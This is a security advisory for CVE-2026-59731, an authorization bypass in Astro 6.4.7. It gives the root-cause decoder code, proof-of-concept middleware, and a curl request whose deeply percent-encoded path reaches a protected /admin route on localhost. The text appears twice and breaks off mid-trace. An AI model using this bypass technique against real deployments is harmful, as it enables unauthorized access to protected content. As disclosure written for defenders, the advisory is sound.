CVE-2026-59731

Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.

Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

---

Vulnerable Pattern

Middleware authorization sees:

/%61dmin

Later rewrite route matching sees:

/admin

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

---

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

let iterations = 0;

while (decoded !== pathname && iterations < 10) {
	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		// decodeURI can fail when a decoded literal '%' forms an
		// invalid sequence with adjacent characters.
		break;
	}

	iterations++;
}

return decoded;

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

---

Rewrite Route Matching

Later, Astro performs another decode during route matching:

const decodedPathname = decodeURI(pathname);

Consequently:

Middleware pathname: /%61dmin
Route matcher:       /admin

This creates a canonicalization mismatch between authorization logic and routing logic.

---

Proof of Concept

Middleware

import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {
	const pathname = context.url.pathname;

	if (pathname === '/admin' || pathname.startsWith('/admin/')) {
		return new Response(
			'403 Forbidden: middleware blocked canonical /admin',
			{
				status: 403,
				headers: {
					'content-type': 'text/plain;charset=UTF-8',
					'x-middleware-pathname': pathname,
				},
			}
		);
	}

	if (pathname !== '/') {
		const response = await next(context.url);

		response.headers.set('x-middleware-pathname', pathname);
		response.headers.set(
			'x-vuln-pattern',
			'next(context.url) rewrite after pathname check'
		);

		return response;
	}

	return next();
});

The critical pattern is:

return next(context.url);

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

---

Reproduction

Protected Route

curl -i http://127.0.0.1:8989/admin

Response:

HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

---

Bypass Request

curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin

This demonstrates:

Middleware saw: /%61dmin
Router reached: /admin

---

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

depth 0:  /%61dmin                              -> /admin
depth 1:  /%2561dmin                            -> /admin
depth 2:  /%252561dmin                          -> /admin
depth 3:  /%25252561dmin                        -> /admin
depth 4: …

Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.

Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

---

Vulnerable Pattern

Middleware authorization sees:

/%61dmin

Later rewrite route matching sees:

/admin

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

---

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

let iterations = 0;

while (decoded !== pathname && iterations < 10) {
	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		// decodeURI can fail when a decoded literal '%' forms an
		// invalid sequence with adjacent characters.
		break;
	}

	iterations++;
}

return decoded;

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

---

Rewrite Route Matching

Later, Astro performs another decode during route matching:

const decodedPathname = decodeURI(pathname);

Consequently:

Middleware pathname: /%61dmin
Route matcher:       /admin

This creates a canonicalization mismatch between authorization logic and routing logic.

---

Proof of Concept

Middleware

import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {
	const pathname = context.url.pathname;

	if (pathname === '/admin' || pathname.startsWith('/admin/')) {
		return new Response(
			'403 Forbidden: middleware blocked canonical /admin',
			{
				status: 403,
				headers: {
					'content-type': 'text/plain;charset=UTF-8',
					'x-middleware-pathname': pathname,
				},
			}
		);
	}

	if (pathname !== '/') {
		const response = await next(context.url);

		response.headers.set('x-middleware-pathname', pathname);
		response.headers.set(
			'x-vuln-pattern',
			'next(context.url) rewrite after pathname check'
		);

		return response;
	}

	return next();
});

The critical pattern is:

return next(context.url);

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

---

Reproduction

Protected Route

curl -i http://127.0.0.1:8989/admin

Response:

HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

---

Bypass Request

curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin

This demonstrates:

Middleware saw: /%61dmin
Router reached: /admin

---

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

depth 0:  /%61dmin                              -> /admin
depth 1:  /%2561dmin                            -> /admin
depth 2:  /%252561dmin                          -> /admin
depth 3:  /%25252561dmin                        -> /admin
depth 4: …

TuxCare rebuilt astro to address 2 CVEs. Fixed in 5.18.2-tuxcare.3.